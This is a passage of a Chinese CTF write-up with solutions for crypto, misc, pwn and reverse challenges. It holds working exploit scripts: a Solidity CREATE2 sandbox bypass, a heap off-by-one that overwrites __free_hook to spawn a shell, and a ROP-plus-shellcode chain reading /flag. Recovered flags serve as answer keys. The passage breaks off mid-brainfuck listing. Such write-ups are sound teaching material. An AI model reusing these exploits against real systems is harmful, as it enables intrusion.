同样我们也可以对R2进行枚举。

由于我们是对R1和R2单独枚举的，复杂度为 2 * 2**18，是可以接受的。

还原r1

def solver1():
   for r in range(1,2**18):
       R = r
       s = ""
       for i in range(512):
           tmp = 0
           for j in range(8):
              (R, out) = lfsr(R, mask1)
               tmp = (tmp << 1) ^ out
           s += chr(tmp)
       pb = correlation(s, data[:512])
       if pb > 73:
           print r
           print pb
           return r
​

得到R1是 13706

还原 r2

def solver2():
   for r in range(1,2**18):
       R = r
       s = ""
       for i in range(512):
           tmp = 0
           for j in range(8):
              (R, out) = lfsr(R, mask2)
               tmp = (tmp << 1) ^ out
           s += chr(tmp)
       pb = correlation(s, data[:512])
       if pb < 27:
           print r
           print pb
           return r

得到R2是90307

解密

还原了R1和R2之后按题目要求生成密钥直接解密即可。

R1 = 13706 # solver1()
R2 = 90307 # solver2()
from hashlib import sha512
import random
from Crypto.Cipher import AES
f = open('flag.txt','rb')
flag = f.read().decode('hex')
f.close()
key = sha512(str(R1)+str(R2)).digest()[:16]
aes = AES.new(key,AES.MODE_ECB)
print aes.decrypt(flag)
​

flag是flag{d0b570e1-5292-4381-9d71-d6edab490854}

rrssaa

题目总共用了3种不同的rsa加密需要我们逐层求解。

考察了3种不同的rsa攻击加密

第一层

rsa加密使用的公钥n是3个质数的乘积，且3个质数具有一定的联系

x = getPrime(290)
y = next_prime(21*x)
z = next_prime(3*x*y)

经过推算，可以发现最终的n约等于 21 * 21 * 3 * x**4

我们可以直接对 n 进行开发，得到近似的x的值。

guessx = iroot(n/(21*21*3),4)[0]

然后在附近进行爆破即可获得正确的x

完整的脚本如下

def generate(x):
   y = next_prime(21*x)
   z = next_prime(3*x*y)
   n = x*y*z
   return x,y,z,n
def solve_level1(n):
   guessp = iroot(n/(21*21*3),4)[0]-1000
   guessp = next_prime(guessp)
   while True:
       x,y,z,guessn = generate(guessp)
       if n == guessn:
           return x,y,z
       else:
           assert(guessn<n)
           guessp = next_prime(guessp)

这样就分解了n1

第二层

第二层rsa使用的n是4个质数的积，同样这些质数之间存在关系

o = getPrime(300)
s = getPrime(300)
t = next_prime(o)
u = next_prime(s)

next_prime意味着o和t，以及s和u之间是很相近的，我们可以假设

t = o + m1
u = s + m2
m1和m2一般是1000以内的整数

这样我们就有

n1 = o * s
n2 = (o+m1)*(s+m2)

由于m1和m2较小，我们可以直接爆破，在已知m1和m2的情况下，可以构造一元二次方程进行求解

完整脚本如下

def quadratic(ga,gb,gc,n):
        delta=gb**2-4*ga*gc
        if delta<=0 or ga==0:
            return 0
        tmp=iroot(delta,2)
        if tmp[1]==True:
            x1 = (-gb + tmp[0]) / (2*ga)
            x2 = (-gb - tmp[0]) / (2 * ga)
            if x1>0 and n%x1==0:
                return x1
            if x2>0 and n%x2==0:
                return x2
        return 0
def solve_level2(n,m):
        for x in range(1500):
            for y in range(1500):
                a=y
                b=x*y-m+n
                c=x*n
                tmp = quadratic(a,b,c,n)
                if tmp!=0:
                    p =  tmp
                    q = n/tmp
                    assert(p*q == n)
                    pp = p+x
                    qq = q+y
                    assert(pp*qq == m)
                    return p,q,pp,qq

这样就分解了n2

第三层

第三层的n是整行的两个大质数的积，但是这个题目没有给出加密公钥e。

同时注意到该题的e生成方式和奇怪

    s = getPrime(10)
    if(gcd(s,p-1) == 1):
        sinv = invert(s,p-1)
        e = 4*s*sinv+3

根据模逆运算的性质，我们有

e % (p-1) = 4 + 3 = 7

因此对于加密的密文 pow(m,e)我们有

pow(m,e) % p = pow(m,7+k*(p-1)) % p = (pow(m,7) % p) *(pow(m,k*(p-1))%p) % p = pow(m,7) % p

因此有

A = pow(m,e)-pow(m,7) = k * p
B = pow(m,e) = q * p
gcd(A,B) = p

分解了p和q之后 还需要恢复e

注意到生成e的中间变量 s是很小的，因此可以爆破。在有了p的情况下能很容易的根据s生成e并校验爆破的s是否正确。

代码如下

def solve_level3(m,c,n):
        p = gcd((c-pow(m,7)),n)
        assert(n%p == 0)
        q = n/p
        while True:
            s = getPrime(10)
            if(gcd(s,p-1)):
                sinv = invert(s,p-1)
                e = 4*s*sinv+3
                if pow(m,e,n) == c:
                    break
        return e,p,q

解密

当n1,n2,n3都被分解了之后，可以很容易的根据rsa解密原理，计算出解密密钥并还原flag

flag 是 flag{4c2fd4e6-44de-445f-8c34-1235464de2de}

misc

ContractGame

Source

• 题目合约如下所示

pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;
    
    constructor(bytes memory a) payable public {
        assembly {
            return(add(0x20, a), mload(a))
        }
    }
    
    function payforflag(address payable _addr) public {
        
        require(_addr != address(0));
        
        target.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }
    
    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}

• 构造函数中的真实合约如下

pragma solidity ^0.5.10;

contract BoxGame {

    event ForFlag(address addr);
    address public target;
    
    function payforflag(address payable _addr) public {
        
        require(_addr != address(0));
        
        uint256 size;
        bytes memory code;

        assembly {
            size := extcodesize(_addr)
            code := mload(0x40)
            mstore(0x40, add(code, and(add(add(size, 0x20), 0x1f), not(0x1f))))
            mstore(code, size)
            extcodecopy(_addr, add(code, 0x20), 0, size)
        }

        for(uint256 i = 0; i < code.length; i++) {
            require(code[i] != 0xf0); // CREATE
            require(code[i] != 0xf1); // CALL
            require(code[i] != 0xf2); // CALLCODE
            require(code[i] != 0xf4); // DELEGATECALL
            require(code[i] != 0xfa); // STATICCALL
            require(code[i] != 0xff); // SELFDESTRUCT
        }
        
        _addr.delegatecall(abi.encodeWithSignature(""));
        selfdestruct(_addr);
    }
    
    function sendFlag() public payable {
        require(msg.value >= 1000000000 ether);
        emit ForFlag(msg.sender);
    }

}

Analyse

• 合约的 constructor 函数中部署的合约才是真正的合约，所以分析构造函数里面的字节码即可

• 其实相当于一个沙盒，过滤了f0 f1 f2 f4 fa ff这些字节，即攻击合约中字节码不能出现这些字节，可以发现 f5 对应的 create2 没有被过滤，所以可用 create2 创建一个 emit ForFlag(0) 的合约，中间如果有禁止的字节，转换一下即可

Exp

contract pikachu {
    
    /*
    emit ForFlag(address(0));
    
    7F  PUSH32 0x89814845d4f005a4059f76ea572f39df73fbe3d1c9b20f12b3b03d09f999b9e2
    60  PUSH1 0x00
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    82  DUP3
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    73  PUSH20 0xffffffffffffffffffffffffffffffffffffffff
    16  AND
    81  DUP2
    52  MSTORE
    60  PUSH1 0x20
    01  ADD
    91  SWAP2
    50  POP
    50  POP
    60  PUSH1 0x40
    51  MLOAD
    80  DUP1
    91  SWAP2
    03  SUB
    90  SWAP1
    A1  LOG1
    */
    // 将上述字节码通过一些转换不包含f0 f1 f2 f4 fa ff即可
    constructor() public payable {
        assembly {
            mstore(0x500, 0x7f89814845d4e005a4059f76ea572f39df73fbe3d1c9b20e12b3b03d09f999b9)
            mstore(0x520, 0xe27f000000000010000000000000000000000000000000000100000000000000)
            mstore(0x540, 0x0000016000604051808273eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee73)
            mstore(0x560, 0x1111111111111111111111111111111111111111011673eeeeeeeeeeeeeeeeee)
            mstore(0x580, 0xeeeeeeeeeeeeeeeeeeeeee731111111111111111111111111111111111111111)
            mstore(0x5a0, 0x0116815260200191505060405180910390a13460b26105003031f50000000000)
            return(0x500, 0x5c0)
        }
    }
}

contract Hack {
    BoxGame private constant target = BoxGame(0x4c3aa84018A031C11bE09e4b2dCC346Ae055956d);

    constructor() public payable {
        bool result;

        // emit ForFlag(0)
        pikachu hack = new pikachu();
        (result, ) = address(target).call(abi.encodeWithSelector(
            0xc1803191,
            hack
        ));
        require(result);
    }
}

• 直接部署Hack即可

s34hunka

打开文件之后，发现Excel中有一个图片：

但仔细看会发现，这个图片并不是我们常见的插入到Excel的那种文件，该图片由Excel单元格构成，每个像素都由一个单元格的背景颜色来表示。

放大图片局部仔细看的话可以隐约看到flag字样：

到这里的一个思路是通过脚本根据像素还原出图片，再使用stegsolve工具查看LSB隐写等信息

不过如果这样尝试的话会发现这样是行不通的，LSB里没有flag

我们可以看到文档作者是堀内辰男，标题为噴火。 经搜索可知，这里的堀内辰男是日本一位用Excel作画的老爷爷，噴火为他的一部作品。 那么堀内辰男就是以不同的单元格颜色作画的吗？经搜索不是这样的：

并且在堀内辰男的个人网站可以看到提供的图片都是jpg格式的，而没有xlsx格式的。

这里的这个文件名s34hunka比较有意思，我们可以搜一下：

可以看到只有图片搜索结果，而第一个图片恰好就是本题所给的图片。

打开图片所在网址，可以看到该图片的名字恰好就是“噴火”，文件名为s34hunka.JPG。

通过脚本读取该图片和Excel单元格信息，对该图片和Excel中的像素做比较，提取出不同的像素点生成图片，即可得到flag：

from PIL import Image
from openpyxl import load_workbook

img = Image.open('s34hunka.JPG')
pixels = img.load()
width, height = img.size

wb = load_workbook('s34hunka.xlsx')
ws = wb.active

for j in range(height):
    for i in range(width):
        c = ws.cell(j+1,i+1)
        p = pixels[i,j]
        color = ''.join('%02X'%t for t in p)
        if color == c.fill.fgColor.rgb[2:]:
            pixels[i,j] = (255, 255, 255)
        else:
            pixels[i,j] = (0, 0, 0)
            
img.save("myresult.png")

pwn

honorbook

CPP, Off by one, 可以覆盖结构体的最低位，导致破坏其他的结构体

exp.py

from pwn import *

remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

is_remote = False
elf_path = "./honorbook"
elf = ELF(elf_path)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
libc = ELF("./libs/lib/libc-2.27.so")

context.terminal = ["tmux", "new-window"]
if is_remote:
    p=remote(remote_addr[0],remote_addr[1])
else:
    p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
    sla(": ", str(idx))

def add(idx, name, msg):
    choice(1)
    choice(idx)
    sa(": ", name)
    sa(": ", msg)

def echo(filename, content, is_append = False):
    sleep(1)
    sn(content)

def rm(idx):
    choice(2)
    choice(idx)

def show(idx):
    choice(3)
    choice(idx)

def edit(idx, msg):
    choice(4)
    sa(": ", msg)

if __name__ == '__main__':
    lg("libc", 0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
    for i in range(11):
        add(i, str(i), "AA\n")
    for i in range(10):
        rm(i)
    choice("0"*0x500+'123')
    for i in range(10):
        add(i, str(i), "AA\n")

    show(7)
    ru(": ")

    #libc_addr = raddr() - 0x3ec037 + 0x100
    libc_addr = u64(rv(3).ljust(8, '\x00')) + 0x4000000000 - 0x107d37 #- libc.symbols['_IO_2_1_stdin_']
    libc.address = libc_addr
    lg("libc addr", libc_addr)
    ru("Code")
    #p.interactive()
    add(21, 'BB', "CC\n")
    add(22, 'BB', p64(0x21)*(0xe0/8) + '\n')
    rm(21)
    add(21, 'BB', "C"*0xe8 + p8(0xf0))
    rm(0)
    rm(1)
    rm(22)
    add(23, '/bin/sh\x00', p64(libc.symbols['__free_hook'])*(0xe0/8) + '\n')
    add(24, 'BB', "/bin/sh\x00\n")
    add(25, 'BB', p64(libc.symbols['system']) + '\n')
    rm(24)

    p.interactive()

schrodingerbox

exp.py

#!/usr/bin/python3
from pwn import *

p = remote('127.0.0.1', 52520)

# NOTE : This won't work if you launch it locally like p=process('./easteregg')

xchg = 0x49E61B
poprax = 0x0000000000420382
poprdi = 0x0000000000400726
poprsi = 0x000000000040167f
poprdx = 0x000000000047de66
incrax = 0x0000000000501750
poprbx = 0x00000000004072a9
syscall = 0x4C78E5

context.arch = 'amd64'


def create(type='small'):
    p.sendlineafter('5.quit', '1')
    p.sendlineafter('?', type)


def view(idx):
    p.sendlineafter('5.quit', '4')
    p.sendlineafter('?', str(idx))


for x in range(10):
    create()
p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fb0)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
dsize = 0x1e3ef0 + 1

p.sendlineafter('?', str(dsize))

p.send('x' * dsize)

view(9)

p.recvuntil('x' * dsize)
heap = (u64(p.recvuntil(' ', drop=1).ljust(8, b'\x00')) << 8) - 0x1eeab8
log.success('heap:' + hex(heap))

payload = b'\x00' * 0x20 + p64(0x00000000004488f8)  # add rsp, 0x48 ; ret
payload = payload.ljust(0x58, b'\x00')
payload += p64(xchg)
payload += p64(0) * 2
# NOTE : Since our program has been "traced", execve to new shell won't work as well.:)
# ================ROP START==================
payload += p64(poprax)
payload += p64(9)
payload += p64(incrax)
payload += p64(poprdi)
payload += p64(heap & 0xfffffffffffff000)
payload += p64(poprsi)
payload += p64(0x1000)
payload += p64(poprdx)
payload += p64(7)
payload += p64(syscall)
payload += p64(heap + 0xb8) * 3
# ================ROP END====================
payload += asm(shellcraft.amd64.linux.cat('/flag'))  # modify it to your flag file path

payload = payload.ljust(0x1e3ed8, b'n')
payload += p64(0x200000)  # Some stuffs that I don't know :)
payload += p64(0)
payload += p64(0x3a0efff)
payload += p64(heap + 0x1eeab8)
payload += p64(0x1f5400)
payload += b'\x00' * 16
payload += p64(heap - 0x41c138)
payload = payload.ljust(0x1e3fa0, b'\x00')
payload += p64(heap)  # This is actually extent_hook

p.sendlineafter('5.quit', b'2-------' + p64(0x1e3fa8)[:-1])  # here is the key to take advantage of uninitialized bug
p.sendlineafter('?', '9')
p.sendlineafter('?', str(0x1e3fa8))
p.send(payload)

# gdb.attach(p, 'b *0x4BF25A')
p.sendlineafter('5.quit', '1')
p.sendlineafter('?', 'large')  # trigger shellcode
p.interactive()

reverse

mips

题目考察选手对于算法的逆向分析能力

题解 题目实际上要解的是一个迷宫，wasd分别对应上下左右 有三层关卡，通过了三层关卡之后才能够拿到最后正确信息

最后的输入内容是

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

flag是flag{999ea6aa6c365ab43eec2a0f0e5968d5}

exp如下：

  
#include<stdio.h>
#include<string.h>
#define N 15
#define M 3  

int level = 0;
int x,y;
int map[M][N][N] = {
	{		   //
	{1,1,1,1,1,0,0,0,0,0,0,0,0,0,0},
	{1,1,1,1,1,0,3,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,0,0,0,0,0,0},
	{1,1,1,1,1,0,1,0,1,1,1,1,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,0,0},
	{1,1,1,1,1,0,1,0,0,0,0,0,1,1,0},
	{1,1,1,1,1,0,1,1,1,1,1,1,1,1,0},
	{1,1,1,1,1,0,0,0,0,0,0,0,0,4,0},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
}, //sssssssddddddds
{
	{1,1,0,0,0,0,0,0,0,0,0,0,0,0,0},
	{1,1,0,3,0,1,1,1,1,0,0,0,0,0,0},
	{1,1,0,1,0,0,0,0,1,0,0,0,0,0,0},
	{1,1,0,1,0,0,0,0,1,0,0,0,0,0,0},
	{1,1,0,1,1,0,0,0,1,1,1,1,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,0,0,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,0,0,1,0,0},
	{1,1,0,1,1,0,0,0,0,0,1,1,1,1,0},
	{1,1,0,1,1,0,0,0,0,0,1,0,0,1,0},
	{1,1,0,1,1,0,0,0,0,0,1,0,0,0,0},
	{1,1,0,1,1,1,1,1,1,0,1,0,1,1,0},
	{1,1,0,1,1,1,1,1,1,1,1,1,1,1,0},
	{1,1,0,0,0,0,0,0,0,0,0,0,0,4,0},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
	{1,1,1,1,1,1,1,1,1,1,1,1,1,1,1},
}, //ssssssssssdddddddddds
	{
	{0,0,0,0,0,0,0,0,0,0,0,0,0,0,0},
	{0,3,1,1,0,0,0,0,0,0,0,0,0,0,0},
	{0,0,0,1,0,1,1,1,0,0,0,0,0,0,0},
	{0,0,0,1,1,1,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,1,0,0,1,0,0,0,0,0,0,0},
	{0,1,1,0,1,0,0,1,0,0,0,0,0,0,0},
	{0,0,1,1,1,0,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,0,0,0,1,0,0,0,0,0,0,0},
	{0,0,0,0,0,0,0,1,1,1,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,0,0,0,0},
	{0,0,0,0,0,0,0,0,0,0,1,1,1,1,0},
	{0,0,0,0,0,0,0,0,0,0,0,0,0,1,0},
	{0,0,0,0,0,0,0,0,0,0,0,0,0,4,0},
}
};//ddssddwddssssssdddssssdddss


//函数声明
void menu();
void find();
int move();
int Up();
int Down();
int Right();
int Left();


int main(void)
{
	int flag = 0;
	menu();
	while(1)
	{
		flag = move();
		if(flag == 1 || flag == -1)
			return 0;
	}	
	return 0;
}
//找到自己的位置
void find()
{
	
	int i= 0,j = 0;
	for(i = 0;i < N;i++)
	{
		for(j = 0;j < N;j++)
		{
			if(map[level][i][j] == 3)
			{
				x = i;
				y = j;
				break;
			}
		}
	}
}
int move()
{
	int flag = 0;
    int index = 0;
    char ans[512] = {0};
    scanf("%s", ans);
	while(1)
	{
		flag = 0;
		find();
		switch(ans[index])
		{
		case 'w':flag = Up();break;
		case 'a':flag = Left();break;
		case 's':flag = Down();break;
		case 'd':flag = Right();break;
		case 27:return -1;
		}
        index++;
		if(flag == 1)
		{
			//pass
			if(level == M-1)
			{
                printf("success! the flag is flag{md5(your input)}\n");
				return 1;
			}
			else
			{
				level++;
			}
		}
	}
}
int Up()
{
	if(x != 0)
	{
		if(map[level][x-1][y] == 1)//可走
		{
			map[level][x-1][y] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x-1][y] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Down()
{
	if(x != N-1)
	{
		if(map[level][x+1][y] == 1)//可走
		{
			map[level][x+1][y] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x+1][y] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Right()
{
	if(y != N-1)
	{
		if(map[level][x][y+1] == 1)//可走
		{
			map[level][x][y+1] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x][y+1] == 4)
		{
			return 1;
		}
	}
	return 0;
}
int Left()
{
	if(y != 0)
	{
		if(map[level][x][y-1] == 1)//可走
		{
			map[level][x][y-1] = 3;
			map[level][x][y] = 1;
		}
		else if(map[level][x][y-1] == 4)
		{
			return 1;
		}
	}
	return 0;
}
void menu()
{
    level = 0;
}

print

1. 通过逆向提供的binary文件"print"，可以知道里面实现了一个brainfuck引擎，提取出其中的brainfuck程序，见a.bf.

2. 将a.bf程序转化为相同功能的c代码，见a.cpp

3. 对a.cpp代码进行人工分析，最后计算得到输入的password为R3veRSe_C0d3.

4. 通过连接远程运行的服务得到最终的flag,运行命令为

print -c "R3veRSe_C0d3" | nc localhost 6666

a.bf

>,>,>,>,>,>,<<<<<[->>>>>>+<<<<<<<+>]<[->+<]>[->>>>>>+<<<<<<<+>]<[->+<]>>[->>>>>>+<<<<<<<<+>>]<<[->>+<<]>>[->>>>>>+<<<<<<<<+>>]<<[->>+<<]>>>[->>>>>>+<<<<<<<<<+>>>]<<<[->>>+<<<]>>>[->>>>>>+<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>[->>>>>>+<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>[->>>>>>+<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>[->>>>>>+<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>[->>>>>>+<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>[->>>>>>+<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>[->>>>>>+<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>[->>>>>>+<<<<<<<<<<<<<+>>>>>>>]<<<<<<<[->>>>>>>+<<<<<<<]>[->>>>>>>>>>>>+<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<+>>>>>>>>]<<<<<<<<[->>>>>>>>+<<<<<<<<]>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<+>>>>>>>>>]<<<<<<<<<[->>>>>>>>>+<<<<<<<<<]>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<[->>>>>>>>>>+<<<<<<<<<<]>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<+>>>>>>>>>>>]<<<<<<<<<<<[->>>>>>>>>>>+<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>]<<<<<<<<<<<<[->>>>>>>>>>>>+<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>]<<<<<<<<<<<<<[->>>>>>>>>>>>>+<<<<<<<<<<<<<]>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>]<<<<<<<<<<<<<<[->>>>>>>>>>>>>>+<<<<<<<<<<<<<<]>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<]>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<]>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<+>]<[->+<]>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<]>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>]<<<[->>>+<<<]>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<]>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>]<<<<[->>>>+<<<<]>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>]<<<<<[->>>>>+<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>]<<<<<<[->>>>>>+<<<<<<]>>[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>]<<[->>+<<]>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>]<<<<<<<<<[->>>>>>>>>+<<<<<<<<<]>>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>[->+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>>>>>>[->>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>>>>>>[->>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<]>>>>>>>>>>>>>>>[->>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>>>>>>]<<<<<<<<<<<<<<<[->>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<]>>>>>>>>>>[->>>>>>>>>>>>>>>>>>>>>>+<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<+>>>>>>>>>>]<<<<<<<<<<[->>>>>>>>>>+<<<<<<<<<<]>>>>>[->>>>>>>>>>>>>>>>>>>>>>>>>